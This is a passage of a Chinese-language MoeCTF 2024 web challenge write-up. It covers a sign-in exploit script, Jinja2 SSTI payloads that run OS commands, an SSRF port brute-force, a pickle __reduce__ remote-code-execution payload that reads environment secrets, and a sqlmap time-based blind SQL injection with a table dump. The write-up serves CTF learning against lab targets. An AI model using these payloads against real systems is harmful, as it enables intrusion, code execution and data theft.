pwd = decrypt_by_aes(pwd, key, iv)
phone = decrypt_by_aes(phone, key, iv)

if check_credentials(phone, pwd):
token = str(uuid.uuid4())
token_user[token] = phone
resp = make_response(jsonify({"status": True, "url": "/"}))
resp.set_cookie("token", token, max_age=7*24*60*60)
return resp
else:
return jsonify({"status": False, "msg2": "手机号或密码错误"})

@app.route("/pwd/findpwd", methods=["GET"])
def find_pwd():
abort(501)

@app.route("/enroll", methods=["GET"])
def enroll():
abort(501)

@app.route("/v5/toCustomer", methods=["GET"])
def to_customer():
abort(501)

@app.route("/widget/sign/e", methods=["GET"])
def e():
token = request.cookies.get("token")
if token is None or token not in token_user or token_user[token] == teacher_phone:
return redirect("/login")
if request.args.get("id") != str(active_id) or request.args.get("c") != sign_code or request.args.get("enc") != enc:
return "二维码已过期。"
uid = token_user[token]
for i in sign_list:
if i["uid"] == int(uid):
if i["status"] == 0:
if active_status == 2:
i["status"] = 11
else:
i["status"] = 1
return status[i["status"]]

@app.route("/page/sign/signIn", methods=["GET"])
def sign_in():
return render_template("signIn.html")

if __name__ == "__main__":
gen(0, 10000000, 1024)
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

下一步就是get二维码链接了,关键二维码要有效,

1
2
if request.args.get("id") != str(active_id) or request.args.get("c") != sign_code or request.args.get("enc") != enc:
return "二维码已过期。"

id= 4000000000000且c值为signcode,这个在题目的hint的API里有,enc同理

然后这些就是一次完整的签到过程了,循环操作,直到所有学生签到完成为止

最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from urllib.parse import urlencode

def send_post_to_login_and_signin(enc):

url = 'http://192.168.119.1:50631/fanyalogin'
url_1 = "http://192.168.119.1:50631/widget/sign/e?id=4000000000000&c=3485287101270&enc=4C76F3FAA53372B936C91BA89F2C30E4&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"

# 创建会话对象
session = requests.Session()
headers = {
"Host": "192.168.119.1:50631",
"X-Requested-With": "XMLHttpRequest",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Origin": "http://192.168.119.1:50631",
"Referer": "http://192.168.119.1:50631/login",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
"Connection": "keep-alive"
}

data = {
"fid": "-1",
"uname": enc,
"password": enc,
"refer": "https://i.chaoxing.com",
"t": "true",
"forbidotherlogin": "0",
"validate": "",
"doubleFactorLogin": "0",
"independentId": "0",
"independentNameId": "0"
}

# URL 编码 data
encoded_data = urlencode(data)

# 发送 POST 请求
response = session.post(url, headers=headers, data=encoded_data)
response_1=session.get(url_1)
print(response_1.status_code)
# 关闭会话
session.close()

with open(r"C:\Users\1\Downloads\MOE\log.txt", "a", encoding='utf-8') as log_file:
if response.status_code == 200:
log_file.write(f"Response for {enc}: {response.text}\n")
log_file.write(f"Response for {enc}: {response_1.text}\n")
else:
log_file.write(f"Error for {enc}: {response.status_code} - {response.text}\n")



return response.json()

def encrypt_by_aes(plain_text: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

# 填充,使得待加密数据长度为16的倍数
pad = 16 - (len(plain_text) % 16)
plain_text_padded = plain_text + (chr(pad) * pad)
plain_text_bytes = plain_text_padded.encode("utf-8")

# 加密数据
encrypted_bytes = cipher.encrypt(plain_text_bytes)

# 使用 base64 编码以便安全传输
encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted_base64
#uname和pwd加密后列表
enc_ls=[]
login_data=open(r"C:\Users\1\Downloads\MOE\output.txt","r")
login_ls=login_data.readlines()
for i in range (len(login_ls)):
enc_ls.append(encrypt_by_aes(login_ls[i].strip(),"u2oh6Vu^HWe4_AES","u2oh6Vu^HWe4_AES"))
#学生登陆签到
for i in range(len(enc_ls)):
send_post_to_login_and_signin(enc_ls[i])


re2

moectf{U_ar3_4_GO0d-T34cH3r-LOV3d-6Y-3V3rY0N3303ef288}

who’s blog?

hint:提供你的id来领养这个可怜的网站吧

一开始没有任何思路,后来问了出题人,出题人hint:flask+jinja2

后来查了点资料做出来了;

这题的考点正是jinja2的ssti漏洞;

知识点:

1
2
flask是python的一个轻量级web框架
jinja2模板属于flask,用于渲染html文件,在其语法中,“{{ }}”内的内容会被当做表达式,渲染之后在html直接显示结果

测试发现网站的确存在ssti

whosblog1

这里无法直接放入python代码,只能放入变量之类的

常规的思路是用一个空的可迭代数据,如空字符串,列表等通过python的继承机制以其所属的类访问基类Object,再访问其所有子类,找到一个可以执行代码的类,初始化+全局化,然后用这个类的方法实现rce

这里是访问到了子类的catch_warnings初始化+全局化后用内建函数rce

具体来说是:

1
2
3
4
() -空tuple
().__class__ - tuple class
().__class__.__base__ - object类(所有类的最终基类是object)
().__class__.__base__.__subclasses__() ) __subclasses__方法返回它调用的类的所有直接子类的list;对于object,这意味着没有其他显式父类的所有类。

最后的payload如下:

1
?id={{().__class__.__base__.__subclasses__()[239].__init__.__globals__[%27__builtins__%27][%27__imp%27+%27ort__%27](%27os%27).__dict__[%27pop%27+%27en%27](%27printenv%27).read()}}

moectf{d0-Y0U_KNOw_5sTi-anD_pIEA5e_v15it_5XRhhH5_BLoG7}

当然,还有一种更通用的办法,不要自己一个个看,可以直接找到需要的子类

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

解释如下:(from gpt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
这段 Jinja2 模板代码通过复杂的手段访问 Python 的内部机制,并执行某些操作。我们将逐行解析这段代码,以便理解它的目的和机制。
代码分解
{% for c in [].__class__.__base__.__subclasses__() %}


1.[] 是一个空列表。
2.[].__class__ 返回 list 类。
3.list.__base__ 返回 list 的基类,通常是 object。
4.object.__subclasses__() 返回所有 object 的子类。
5.这个 for 循环遍历所有子类。

{% if c.__name__ == 'catch_warnings' %}


6.检查当前遍历的子类的名称是否为 'catch_warnings'。catch_warnings 是 Python 的 warnings 模块中的一个上下文管理器,专门用于捕获警告。

{% for b in c.__init__.__globals__.values() %}


7.如果当前类是 catch_warnings,则遍历其 __init__ 方法的全局变量。这些全局变量包含当前作用域中的所有可用变量。

{% if b.__class__ == {}.__class__ %}


8.检查当前全局变量 b 是否是一个字典。这是通过比较 b.__class__ 和一个空字典的类来实现的。

{% if 'eval' in b.keys() %}


9.如果 b 是一个字典,检查字典中是否存在 'eval' 键。eval 是一个 Python 内置函数,用于执行字符串形式的 Python 代码。

{{ b['eval']('__import__("os").popen("id").read()') }}


10.如果找到了 'eval' 键,调用 b['eval'] 方法,执行 __import__("os").popen("id").read()。
11.这里,__import__("os") 导入 os 模块,然后使用 os.popen("id") 打开一个进程来执行 id 命令,最后通过 .read() 方法读取其输出。

整体分析
这段代码的整体目的是在 Jinja2 模板中利用 Python 的内部机制来执行命令。具体过程如下:

12.遍历所有的对象子类。
13.找到 catch_warnings 类。
14.访问该类的 __init__ 方法的全局变量。
15.检查这些全局变量中是否有 eval 函数。
16.如果有,使用 eval 函数来执行一个系统命令 id,并读取其输出。

安全警告
这种做法具有极大的安全风险,尤其是在没有正确的输入验证和安全措施的环境中。这可能导致代码注入或远程代码执行漏洞,允许攻击者执行任意命令或访问系统资源。
总结
这段 Jinja2 代码通过复杂的手段访问 Python 的内置机制,尝试执行系统命令。这种代码通常被视为不安全的做法,且不推荐在生产环境中使用。应谨慎使用任何可能导致执行用户输入的代码。

这个payload也是可行的

ImageCloud

源代码中有两个后端代码:

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(
f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
for filename in uploaded_files
) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
url = request.args.get('url')
if not url:
return 'URL 参数缺失', 400

try:
response = requests.get(url)
response.raise_for_status()
img = Image.open(BytesIO(response.content))

img_io = BytesIO()
img.save(img_io, img.format)
img_io.seek(0)
return send_file(img_io, mimetype=img.get_format_mimetype())
except Exception as e:
return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
app.run(host='0.0.0.0', port=5000)

app2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
mime = mimetypes.guess_type(file_path)[0]
if mime is None:
try:
with Image.open(file_path) as img:
mime = img.get_format_mimetype()
except Exception:
mime = 'application/octet-stream'
return mime

def find_free_port_in_range(start_port, end_port):
while True:
port = random.randint(start_port, end_port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', port))
s.close()
return port

@app.route('/')
def index():
return '''
<h1>图片上传</h1>
<form method="post" enctype="multipart/form-data" action="/upload">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
<h2>已上传的图片</h2>
<ul>
''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
</ul>
'''

@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return '未找到文件部分', 400
file = request.files['file']

if file.filename == '':
return '未选择文件', 400
if file and allowed_file(file.filename):

filename = secure_filename(file.filename)
ext = filename.rsplit('.', 1)[1].lower()

unique_filename = f"{len(uploaded_files)}_{filename}"
filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

file.save(filepath)
uploaded_files.append(unique_filename)

return redirect(url_for('index'))
else:
return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if os.path.exists(filepath):
mime = get_mimetype(filepath)
return send_file(filepath, mimetype=mime)
else:
return '文件未找到', 404

if __name__ == '__main__':
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
port = find_free_port_in_range(5001, 6000)
app.run(host='0.0.0.0', port=port)

已知flag.jpg在uploads文件夹之下,uploads和static是在同一级,但是试过无法路径遍历到uploads之下;

想其他办法;

当进入页面上传图片并加载上传图片的时候

url为http://ip:port/image?url=http://localhost:5000/static/0_hacker.png

这里可以利用一下,利用它跳转到app2.py,就可以用其load_image函数读到flag,关键是怎么跳转?

路由和其他什么的都有,只差端口了,那就爆破一下吧,告诉了范围是5001到6000

ImageCloud1

看看返回数据长度不一样的包的payload就是

ImageCloud2

Pet Store

这题给的hint是pickle反序列化漏洞,看看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)

class Pet:
def __init__(self, name, species) -> None:
self.name = name
self.species = species
self.uuid = uuid.uuid4()

def __repr__(self) -> str:
return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

class PetStore:
def __init__(self) -> None:
self.pets = []

def create_pet(self, name, species) -> None:
pet = Pet(name, species)
self.pets.append(pet)

def get_pet(self, pet_uuid) -> Pet | None:
for pet in self.pets:
if str(pet.uuid) == pet_uuid:
return pet
return None

def export_pet(self, pet_uuid) -> str | None:
pet = self.get_pet(pet_uuid)
if pet is not None:
self.pets.remove(pet)
serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
return serialized_pet
return None

def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

store = PetStore()

@app.route("/", methods=["GET"])
def index():
pets = store.pets
return render_template("index.html", pets=pets)

@app.route("/create", methods=["POST"])
def create_pet():
name = request.form["name"]
species = request.form["species"]
store.create_pet(name, species)
return redirect("/")

@app.route("/get", methods=["POST"])
def get_pet():
pet_uuid = request.form["uuid"]
pet = store.get_pet(pet_uuid)
if pet is not None:
return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
else:
return jsonify({"error": "Pet not found"})

@app.route("/export", methods=["POST"])
def export_pet():
pet_uuid = request.form["uuid"]
serialized_pet = store.export_pet(pet_uuid)
if serialized_pet is not None:
return jsonify({"serialized_pet": serialized_pet})
else:
return jsonify({"error": "Pet not found"})

@app.route("/import", methods=["POST"])
def import_pet():
serialized_pet = request.form["serialized_pet"]
if store.import_pet(serialized_pet):
return redirect("/")
else:
return jsonify({"error": "Failed to import pet"})

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

思路:import_pet接受一个被base64编码后的序列化对象,pickle序列化并不需要对象在环境中被定义,因此我们可以自定义一个类,用__reduce__方法,相当于php的__wakeup()都在反序列化的时候被触发,这样可以做到任意代码执行,但是由于无法通过isinstance的检查,所以看不到输出,我们因此可以利用create_pet来输出,因为所有被添加到列表的pet都会在网站顶部被展示,同时hint说flag在环境变量里

1
2
3
4
5
6
7
import pickle
import base64
class tmp:
def __reduce__(self):
return (exec,("import os;store.create_pet('rce',os.getenv('FLAG'));",))
s_data=base64.b64encode(pickle.dumps(tmp())).decode("utf-8")
print(s_data)

![pet store](moectf2024-web方向wp/pet store.png)

smbms

hint提示:

放轻松,想要 sql 注入?PrepareStatement 是不会让你们轻易得逞的

登录不进去?看看我给的sql文件吧。虽然那些并不是真密码

sql里面虽然不是真密码,但是也是有意义的,要不翻译一下?

首先我们由此知道:sql注入不用试了。sql文件密码是假的;sql文件的密码隐藏了信息;

sql文件里有’weak_auth’

这些人的密码都是弱密码;

那就字典爆破一下,用rockyou.txt试看,放到burp的intruder里

爆出admin的密码为1234567

smbms3

这里是查询员工的界面,连接到了数据库,可能存在sql注入点,用sqlmap试试看

sqlmap用法

python sqlmap.py -u URL 直接对某一个链接进行扫描,查看注入点;

python sqlmap.py -r request.txt sqlmap将使用用户自定义的请求进行扫描,查看注入点

然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[09:50:17] [INFO] checking if the injection point on GET parameter 'queryName' is a false positive
GET parameter 'queryName' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection point(s) with a total of 205 HTTP(s) requests:
---
Parameter: queryName (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: method=query&queryName=12' AND (SELECT 7152 FROM (SELECT(SLEEP(5)))ENJY) AND 'soIz'='soIz
---
[09:51:00] [INFO] the back-end DBMS is MySQL
[09:51:00] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[09:51:00] [CRITICAL] connection was forcibly closed by the target URL. sqlmap is going to retry the request(s)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[09:51:10] [INFO] fetched data logged to text files under 'C:\Users\1\AppData\Local\sqlmap\output\192.168.119.1'

[*] ending @ 09:51:10 /2024-10-13/

发现注入点在queryName处,可以时间盲注,剩下的继续让sqlmap完成

python sqlmap.py -r get.txt –dbs 查看数据库

python sqlmap.py -r get.txt –current-db 这个直接查看当前数据库

然后确定数据库再指定数据库查看所有的表

python sqlmap.py -r get.txt -D smbms2 –tables

以此类推查看列

python sqlmap.py -r get.txt -D smbms2 -T flag –columns

python sqlmap.py -r get.txt -D smbms2 -T flag -C flag –dump

[10:04:11] [INFO] adjusting time delay to 2 seconds due to good response times
moectf{r34DiNG_j@V@-5OUrcE-aND_lNJ3ct-sQqI-I5_BEaUt1Fu1ll0}
Database: smbms2
Table: flag
[1 entry]
+————————————————————-+
| flag |
+————————————————————-+
| moectf{r34DiNG_j@V@-5OUrcE-aND_lNJ3ct-sQqI-I5_BEaUt1Fu1ll0} |
+————————————————————-+

总结一下sqlmap的基本用法

1
2
3
4
5
6
7
8
9
10
-u 指定url扫描注入点
-r 自定义请求扫描注入点
--dbs 查看所有数据库
--current-db 查看当前数据库
--tables 查看所有表
--colums 查看所有列
--dump 查看表格内容
-D 指定数据库
-T 指定表格
-C 指定列